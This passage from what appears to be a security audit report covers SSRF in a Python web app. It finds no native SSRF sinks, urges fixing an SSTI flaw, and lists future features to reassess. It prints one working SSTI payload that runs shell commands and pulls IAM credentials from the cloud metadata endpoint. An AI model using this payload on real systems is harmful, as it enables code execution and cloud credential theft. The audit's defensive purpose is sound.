**Important Caveat**: While the application itself has no SSRF sinks, the SSTI vulnerability at `app.py:23` allows attackers to execute arbitrary Python code, which could be used to perform SSRF attacks post-exploitation. For example:

```python
# SSTI payload to perform HTTP requests (requires attacker to install requests via pip):
{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('pip install requests && python -c "import requests; print(requests.get(\'http://169.254.169.254/latest/meta-data/iam/security-credentials/\').text)"').read()}}
```

However, this represents **post-exploitation capability**, not a vulnerability in the application's design. The distinction is important for classification:
- **Native SSRF**: Application's intended functionality can be abused to make unauthorized requests (e.g., "Import from URL" feature vulnerable to SSRF)
- **Post-Exploitation SSRF**: Attacker must first exploit a different vulnerability (SSTI) to gain code execution, then manually craft SSRF attacks using that access

This application has **zero native SSRF sinks** but **post-exploitation SSRF capability via SSTI RCE**.

### Recommendations

**Current State**: No SSRF vulnerabilities exist in the application as designed. No code changes required for SSRF mitigation.

**Future Monitoring**: If the following features are added in future versions, reassess for SSRF:
1. External API integrations (payment processors, email services, geolocation APIs)
2. Image upload processing with URL support (e.g., "Upload image from URL" feature)
3. PDF generation with external content (e.g., wkhtmltopdf with user-provided URLs)
4. Webhook support (user-configured callback URLs for notifications)
5. OAuth/OIDC authentication (JWKS fetching, discovery endpoint retrieval)
6. Link preview features (URL unfurling for chat applications)
7. XML parsing with external entity support (XXE → SSRF)

**CRITICAL**: Fix the SSTI vulnerability (app.py:23) to eliminate post-exploitation SSRF capabilities. See Section 9 for remediation guidance.

---

**END OF CODE ANALYSIS DELIVERABLE**